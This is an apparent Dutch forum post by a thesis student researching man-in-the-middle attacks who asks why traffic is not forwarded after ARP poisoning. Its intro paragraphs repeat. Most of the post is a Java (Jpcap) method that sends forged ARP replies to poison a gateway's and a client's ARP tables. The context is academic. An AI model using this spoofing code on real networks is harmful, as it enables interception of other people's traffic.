Slynx
Legacy Member
Haia iedereen,
Voor mijn eindwerk ben ik momenteel bezig omtrent MITM attacks. Hiervoor werd mij opgedragen mijn eigen tools te schrijven, een beetje in de richting van ettercap.
Nu, aan hand van de Jpcap library ben ik momenteel bezig aan mijn tools, waaronder arp poisoning.
Probleem:
Alles verloopt zonder problemen, de arp tables van mijn victims, momenteel mijn gateway en xp client worden probleemloos gepoisoned. Enige probleem is dat het verkeer niet geforwarded wordt naar zijn bestemming. Traffic forwarding is enabled, dus dat zou het probleem niet mogen zijn, dus vroeg ik me af of mijn probleem toch ergens in mijn sourcecode te vinden zou zijn.
Voor target 2, exact dezelfde methode, enkel ander destination mac address.
Enige hulp, eeuwig dankbaar
Voor mijn eindwerk ben ik momenteel bezig omtrent MITM attacks. Hiervoor werd mij opgedragen mijn eigen tools te schrijven, een beetje in de richting van ettercap.
Nu, aan hand van de Jpcap library ben ik momenteel bezig aan mijn tools, waaronder arp poisoning.
Probleem:
Alles verloopt zonder problemen, de arp tables van mijn victims, momenteel mijn gateway en xp client worden probleemloos gepoisoned. Enige probleem is dat het verkeer niet geforwarded wordt naar zijn bestemming. Traffic forwarding is enabled, dus dat zou het probleem niet mogen zijn, dus vroeg ik me af of mijn probleem toch ergens in mijn sourcecode te vinden zou zijn.
Code:
private static void arpPoisonTarget1(JpcapCaptor captor, byte[] mac){
//sender object aanmaken die het pakket kan versturen
JpcapSender sender;
//initialisatie ARPPacket
ARPPacket p;
//ARP pakket initialiseren
ARPPacket arp;
////Ethernet pakket initialiseren
EthernetPacket ether;
while (true) {
//ARP request ontvangen en uitlezen
p = (ARPPacket)captor.getPacket();
if (p != null && p.operation == 1) {
System.out.println(p.toString());
//source mac - adress poisoning
byte[] mac_fake = new byte[] { (byte) 254, (byte) 253,
(byte) 252, (byte) 249, (byte) 11, (byte) 44 };
//byte[] mac_fake = mac;
byte[] scrip = p.target_protoaddr;
byte[] mac_destination = new byte[]{ (byte) 0, (byte) 22, (byte) 206, (byte) 135, (byte) 125, (byte) 43 };
//destination mac adres wordt opgehaald uit het ontvangen pakket
byte[] destip = p.sender_protoaddr;
//aanmaken nieuw arp packet, response
arp = new ARPPacket();
//parameters instellen voor het ARP packet
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = mac_fake;
arp.sender_protoaddr = scrip;
arp.target_hardaddr = mac_destination;
arp.target_protoaddr = destip;
//Ethernetpakket aanmaken
ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = mac;
ether.dst_mac = mac_destination;
arp.datalink = ether;
//instantie opvragen van captor device om het pakket te kunnen versturen welke instaat voor het verzenden van het ARP pakket
sender = captor.getJpcapSenderInstance();
sender.sendPacket(arp);
System.out.println("ARP poisoning packet sent " + arp.toString());
}
}
}
Voor target 2, exact dezelfde methode, enkel ander destination mac address.
Enige hulp, eeuwig dankbaar
